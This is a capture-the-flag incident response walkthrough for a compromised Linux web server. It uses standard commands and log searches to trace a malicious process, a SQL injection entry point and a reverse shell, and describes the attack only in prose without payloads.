Overview

This challenge requires us to analyze a few sources of information. We’ll primarily be looking at changes to the local system and web server logs.

Scenario

One of our web application servers has been compromised and the incident response team has isolated the machine. You’ve been provided with remote access; investigate the system and figure out the attacker’s actions.

Q1

What is the name of the malicious process? Provide the full path of the binary

To determine the malicious process we’ll use the ps aux command.

We’ll need to look through the output for anything abnormal. If we pay close attention we can spot the suspicious process.

To find the full path of the binary we can use the which command.

*Note: In this case, we know we can use the which command on the process name because when the attacker ran the command, as seen in the ps -aux output the attacker did not provide a path. This indicates that the command is within the Linux PATH environment variable. As such, “which” is able to report the location of the file.

If the file was not in the PATH, we could use the find command to locate the file. find / -name appleaday 2>/dev/null*

Q2

What is the port that the malicious process listens on

We can use the netstat command to view open ports.

A common combination of switches used with netstat is -tulpn. You can read about these switches on the man page or https://linux.die.net/man/8/netstat.

Q3

Provide the full URL from which the malware was downloaded to the system

Linux logs are typically stored in /var/log/ so we’ll start our search there.

While we could pick and choose which files to search, we could also do a recursive search with grep and see what’s returned.

We can see the file was downloaded directly from an IP on an unusual port, a major red flag.

Q4

There was another file downloaded from the same server.

We can repeat the same technique for this challenge, but replace our query with the IP address we discovered in the previous question.

Q5

What is the port running on the system that was used as the entry point, and what was the type of vulnerability

We know this is a web server, and the ps aux output we ran way back in Q1 also showed Apache2 processes running.

If we look at the files available in the /var/log directory we also notice a directory for Apache2.

If we double-check the netstat output we recorded back in Q2 we can see that apache is running on a common, insecure port.

Again we’ll use grep to get an idea of what activities were recorded in the apache logs. We’ll search for any log entries that contain the IP address we discovered previously.

We can see the malicious IP has been performing SQL Injection attacks against the web server.

Q6

What is the name of the file that had the vulnerability? Provide the full system path

We can identify the vulnerable endpoint by analyzing where the user was submitting the SQL injection attacks. The question, however, expects the full system path.

For this, we’ll have to confirm where the website files are located in the system.

The normal installation location is in /var/www/ so we’ll check there first.

With that, we can confirm the location of the file. Prepending the URI found in the log with “/var/www” will give us the answer.

Q7

What is the name of the file created and what is the first command executed by the attacker?

If we continue to analyze the log files from Q5, we can see the attacker was able to successfully create a file and conduct remote code execution on the endpoint.

Q8

The attacker obtained a reverse shell, what was the language used to create the reverse shell and what is the lowest port used?

Following the log, we can see that the attacker began executing commands in a common programming language. These commands include socket connections to the malicious IP address over a standard port.